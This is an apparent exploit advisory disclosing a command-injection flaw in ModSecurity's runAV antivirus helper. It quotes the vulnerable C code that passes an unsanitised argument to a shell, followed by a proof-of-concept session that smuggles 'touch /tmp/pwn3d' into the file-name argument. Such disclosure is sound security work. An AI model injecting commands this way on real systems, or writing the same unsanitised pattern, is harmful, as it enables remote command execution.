RunAV mod_security Remote Command Execution
Posted on 30 November -0001
<HTML><HEAD><TITLE>runAV mod_security Remote Command Execution</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY># Title : runAV mod_security Remote Command Execution # Date : 13/05/2016 # Author : R-73eN # Tested on : mod_security with runAV Linux 4.2.0-30-generic #36-Ubuntu SMP Fri Feb 26 00:57:19 UTC 2016 i686 i686 i686 GNU/Linux # Software : https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/master/util/av-scanning/runAV # Vendor : https://www.modsecurity.org/ # ___ __ ____ _ _ # |_ _|_ __ / _| ___ / ___| ___ _ __ / | | # | || '_ | |_ / _ | | _ / _ '_ / _ | | # | || | | | _| (_) | |_| | __/ | | | / ___ | |___ # |___|_| |_|_| ___/ ____|___|_| |_| /_/ ______| # # #include "common.h" main(int argc, char *argv[]) { char cmd[MAX_OUTPUT_SIZE]; char output[MAX_OUTPUT_SIZE]; int error; char *colon; char *keyword; if (argc > 1) { sprintf (cmd, "/usr/bin/clamscan --no-summary %s", argv[1]); output[0] = ' '; error = run_cmd(cmd,output,MAX_OUTPUT_SIZE); +++++++++++++++++ OTHER CODE +++++++++++++++++++++++++++++++++ The argv[1] parameter is passed unsanitized to a sprintf function which sends the formatted output to the cmd variable, which is later passed as a parameter to a run_cmd function on line 14. https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/master/util/av-scanning/runAV/runAV.c#L14 POC: <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="aad9c4c5d8deead9c4c5d8de87fcc3d8dedfcbc6e8c5d2">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:/usr/share/modsecurity-crs/util/av-scanning/runAV$ ./runAV "foo.php;touch /tmp/pwn3d" sh: 1: /usr/bin/clamscan: not found 1 exec empty: OK <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="3d4e53524f497d4e53524f49106b544f49485c517f5245">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:/usr/share/modsecurity-crs/util/av-scanning/runAV$ ls -la /tmp/ | grep pwn3d -rw-rw-r-- 1 snort snort 0 Maj 13 16:45 pwn3d <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="4f3c21203d3b0f3c21203d3b6219263d3b3a2e230d2037">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:/usr/share/modsecurity-crs/util/av-scanning/runAV$ </BODY></HTML>
